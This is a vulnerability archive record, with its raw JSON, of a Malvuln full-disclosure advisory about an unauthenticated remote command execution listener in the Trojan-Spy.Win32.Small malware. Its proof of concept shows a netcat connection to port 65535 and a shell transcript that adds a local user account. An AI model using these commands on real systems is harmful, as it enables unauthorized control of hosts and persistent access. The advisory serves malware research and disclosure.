VULNARCHIVE

GCVE-1988-2026-0236

Trojan-Spy.Win32.Small / Remote Command Execution

Description (en)

Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2026
Original source:
https://malvuln.com/advisory/8c15ec5f0137d097a345b693f0bffedb.txt
Malvuln Intelligence Feed: https://intel.malvuln.com/
Contact: malvuln13 () gmail com
Media: x.com/malvuln

Threat: Trojan-Spy.Win32.Small
Vulnerability: Remote Command Execution
Description: The malware opens a listener on TCP port 65535, allowing
unauthenticated remote attackers with network access to execute
arbitrary operating system commands on the infected host.
Family: Small
Type: PE32
Attack-pattern TTP: Command and Scripting Interpreter (T1059)
MD5: 8c15ec5f0137d097a345b693f0bffedb
SHA256: 72fde71106a31ada61b6beea14256b8609e18f7f7818a19e06318dee67ab655b
Vuln ID: MVID-2026-0705
Disclosure: 04/20/2026

Exploit/PoC:
nc64.exe x.x.x.x 65535
Microsoft Windows [Version 10.0.16299.309]
(c) 2017 Microsoft Corporation. All rights reserved.

C:\Users\victim\Desktop>whoami
whoami
desktop-2c3iqho\victim
calc
C:\>net user hubert abc123 /add
net user hubert abc123 /add
The command completed successfully.
exit

Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or
otherwise. Permission is hereby granted for the redistribution of this
advisory, provided that it is not altered except by reformatting it,
and that due credit is given. Permission is explicitly given for
insertion in vulnerability databases and similar, provided that due
credit is given to the author. The author is not responsible for any
misuse of the information contained herein and accepts no
responsibility for any damage caused by the use or misuse of this
information. The author prohibits any malicious use of security
related information or exploits by the author or elsewhere. Do not
attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper
Malware handling or the downloading of ANY Malware mentioned on this
website or elsewhere. All content Copyright (c) Malvuln.com (TM).
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/

References

Raw JSON
{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "Trojan-Spy.Win32.Small /",
          "vendor": "unknown",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "malvuln"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2026\nOriginal source:\nhttps://malvuln.com/advisory/8c15ec5f0137d097a345b693f0bffedb.txt\nMalvuln Intelligence Feed: https://intel.malvuln.com/\nContact: malvuln13 () gmail com\nMedia: x.com/malvuln\n\nThreat: Trojan-Spy.Win32.Small\nVulnerability: Remote Command Execution\nDescription: The malware opens a listener on TCP port 65535, allowing\nunauthenticated remote attackers with network access to execute\narbitrary operating system commands on the infected host.\nFamily: Small\nType: PE32\nAttack-pattern TTP: Command and Scripting Interpreter (T1059)\nMD5: 8c15ec5f0137d097a345b693f0bffedb\nSHA256: 72fde71106a31ada61b6beea14256b8609e18f7f7818a19e06318dee67ab655b\nVuln ID: MVID-2026-0705\nDisclosure: 04/20/2026\n\nExploit/PoC:\nnc64.exe x.x.x.x 65535\nMicrosoft Windows [Version 10.0.16299.309]\n(c) 2017 Microsoft Corporation. All rights reserved.\n\nC:\\Users\\victim\\Desktop>whoami\nwhoami\ndesktop-2c3iqho\\victim\ncalc\nC:\\>net user hubert abc123 /add\nnet user hubert abc123 /add\nThe command completed successfully.\nexit\n\nDisclaimer: The information contained within this advisory is supplied\n\"as-is\" with no warranties or guarantees of fitness of use or\notherwise. Permission is hereby granted for the redistribution of this\nadvisory, provided that it is not altered except by reformatting it,\nand that due credit is given. Permission is explicitly given for\ninsertion in vulnerability databases and similar, provided that due\ncredit is given to the author. The author is not responsible for any\nmisuse of the information contained herein and accepts no\nresponsibility for any damage caused by the use or misuse of this\ninformation. The author prohibits any malicious use of security\nrelated information or exploits by the author or elsewhere. Do not\nattempt to download Malware samples. The author of this website takes\nno responsibility for any kind of damages occurring from improper\nMalware handling or the downloading of ANY Malware mentioned on this\nwebsite or elsewhere. All content Copyright (c) Malvuln.com (TM).\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives & RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-08T08:13:41Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Apr/10"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Apr/10"
        },
        {
          "url": "https://intel.malvuln.com/"
        },
        {
          "url": "https://malvuln.com/advisory/8c15ec5f0137d097a345b693f0bffedb.txt"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Apr/10"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "Trojan-Spy.Win32.Small / Remote Command Execution",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0236",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Apr/10",
            "automated": true,
            "contentSha256": "e9ddbb3b3c74289ca7de586408f661f46299498dfb3f69cbb546fc461a88fc18",
            "evidenceScore": 6,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Apr/10",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-04-21T01:30:40Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-09-08T08:13:41Z",
    "dateUpdated": "2026-09-08T08:13:41Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0236"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}